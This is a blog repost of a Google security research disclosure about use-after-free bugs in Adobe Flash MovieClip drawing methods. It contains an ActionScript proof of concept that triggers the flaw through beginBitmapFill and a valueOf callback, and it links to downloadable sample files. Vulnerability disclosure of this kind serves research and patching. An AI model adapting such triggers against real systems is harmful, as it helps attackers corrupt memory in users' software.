Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86376125

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=388&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There are use-after frees realated to storing a single pointer (this this pointer) in several MovieClip drawing methods, including beginFill, beginBitmapFill, beginGradientFill, linGradientStyle, lineTo, moveTo, curveTo and lineStyle. A proof-of-concept involving bitmapFill is bewlo:

import flash.display.*;
import flash.geom.*;

var bmpd:BitmapData = new BitmapData(20,20);
var rect1:Rectangle = new Rectangle(0,0,10,10);
var rect2:Rectangle = new Rectangle(0, 10, 10, 20);
var rect3:Rectangle = new Rectangle(10, 0, 20, 10);
var rect4:Rectangle = new Rectangle(10, 10, 20, 20);
bmpd.fillRect(rect1, 0xAA0000FF);
bmpd.fillRect(rect2, 0xAA00FF00);
bmpd.fillRect(rect3, 0xAAFF0000);
bmpd.fillRect(rect4, 0xAA999999);
var thiz = this;
this.createEmptyMovieClip("bmp_fill_mc", 1);
with (bmp_fill_mc) {
	
	var n = {valueOf: func};
    matrix = {a:2, b:n, c:0, d:2, tx:0, ty:0}; 
    //matrix.rotate(Math.PI/8);
    repeat = true;
    smoothing = true;
    beginBitmapFill(bmpd, matrix, repeat, smoothing);
    moveTo(0, 0);
    lineTo(0, 60);
    lineTo(60, 60);
    lineTo(60, 0);
    lineTo(0, 0);
    endFill();
}

bmp_fill_mc._xscale = 200;
bmp_fill_mc._yscale = 200;

function func(){
	
	var test = thiz.createTextField("test", 1, 1, 1, 10, 10);
	trace(test);
	test.removeTextField();
	return 777;
	} 

A sample fla and swf are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37864.zip